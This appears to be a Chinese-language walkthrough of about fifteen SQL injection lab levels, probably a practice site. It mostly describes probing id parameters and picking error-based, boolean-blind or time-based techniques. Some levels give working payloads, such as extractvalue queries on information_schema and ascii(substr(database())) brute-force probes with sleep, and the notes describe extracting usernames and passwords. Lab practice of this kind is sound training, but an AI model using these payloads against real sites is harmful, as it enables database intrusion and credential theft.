SERIES-1
输入?id=1成功显示界面
输入?id=2-1成功显示界面,但是页面发生改变,说明该数据类型为字符型
加入单引号,报错发现使用的单引号
加上双引号,发现能够成功的显示
加上and 1=1成功显示
加上and 1=2页面,该点说明不存在sql注入漏洞
利用报错注入查看所有数据库
利用报错注入查看当前数据库里的所有表
查看表里面的列
查看列里面的数据
SERIES-2
输入?id=1
输入?id=2-1,两个页面相同,数据类型为数字型
输入and 1=1
输入 and 1=2 两个页面不同,说明该点存在注入点
SERIES-3
输入?id=1
输入?id=2-1,页面发生改变,说明是字符型
输入单引号,报错
输入双引号,不报错,说明闭合符号为单引号
输入and 1=1
输入and 1=2,两个页面相同,说明不存在注入点
SERIES-4
输入?id=1
输入?id=2-1,说明该数据类型为字符型
输入’
输入”,说明闭合符号为”
输入and 1=1
输入and 1=2,两个页面相同,说明不存在注入点
SERIES-5
通过查看源码能成功执行的语句都会返回you are in错误则没有返回
输入?id=1
输入?id=2-1,
输入’,报错,说明数据类型为字符型,闭合符号位单引号
输入”,说明闭合符号为单引号
由此我们能判断出可以使用布尔类型的返回,使用报错注入
首先查看所有库
查看当前库里面的所有表
查看users表里面的所有列
查看用户名和密码
SERIES-6
输入?id=1
输入?id=2-1,此时不能判断是什么数据类类型
输入’,页面无报错
输入”,说明闭合符号为双引号
输入and 1=1
输入and 1=2
利用报错注入
查看所有数据库
查看当前数据库里面的表
查看users表内的所有列
查看用户名和密码
SERIES-7
输入?id=1返回you are in use outfile
输入?id=100时,回显语法错误
输入?id=2时,返回you are in use outfile说明有返回的时候则会返回返回you are in use outfil,没有返回的数据则会提示语法错误
输入’
输入”
输入‘))--显示语法错误,说明闭合符号为‘))--,数据类型为字符类型
判断数据库的长度
长度为零
长度为10
长度为五
长度为八
长度为7,证明该数据库的长度为8
确认数据库的名称,通过bp抓包,
设置字典
字典1
字典2
SERIES-8
输入?id=1
输入?id=1’说明必和符号为单引号,数据类型为字符型
输入”
输入”,说明闭合符号为单引号,并且数据类型为字符型
判断数据库的长度
长度为1
长度为10
长度为6
长度为8
长度为7
9输入?id=1,也只会回显一个you are in.....
说明数据库长度为8
利用bp对数据库名称进行爆破
?id=1' and ascii(substr((database()),1,1)) =115 --+
字典1
字典2
爆破后的数据为
将数据转化为字母
SERIES-9
输入?id=1
输入?id=1’ and sleep(3) --+发现过了几秒钟才反应说明单引号是闭合符号
加入?id=1” and sleep(3) --+,数据类型为字符型
用bp对当前数据库名进行爆破
?id=1’ if((ascii(substr((database()),1,1)) =115),sleep(5),0) --+
字典1
字典2
爆破后的结果为
将结果放入excl表进行字符转换
SERIES-10
输入?id=1
输入?id=1’,无反应
输入?id=1”,无反应
输入?id=1’ and sleep(5) --+,无反应
?id=1” and sleep(5) --+,有时间间隔说明双引号是闭合符号
利用时间盲注判断数据库长度
长度为8
利用bp对数据库进行爆破
字典一
字典2
爆破结果为
将结果使用字符抓换为数据库名
SERIES-11
首先输入a’,说明可以用爆错注入
再输入a’#,无反应
输入a' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
获取当前数据库的所有表a' and (extractvalue(1,concat(0x7e,(select substr(group_concat(table_name),4,31) from information_schema.tables where table_schema=database()),0x7e)))#
a’and (extractvalue(1,concat(0x7e,(select substr(group_concat(column_name),36,31) from information_schema.columns where table_schema=database()),0x7e)))
SERIES-12
输入a’无报错信息
利用抓包进行对闭合符号的判断判断出来的分隔符号为”)
利用报错注入对我们想要的内容进行获取
获取当前库
,例如获取
输入a”有报错信息,说明双引号为闭合符号
SERIES-13
通过抓包获取到了闭合符号为”)
再通过报错注入获取到相关信息
SERIES-14
利用报错注入获取数据库名
SERIES-15
用bp抓包进行数据篡改与布尔盲注进行判断出来闭合符号为’
‘ or 1=1或者‘ or 1=2
获取数据库的长度 二分法得出的结果为数据库字段的长度为8位
用bp进行爆破a' or (ascii(substr((database()),1,1)) =115)#
字典1
字典2
结果
Ascii转换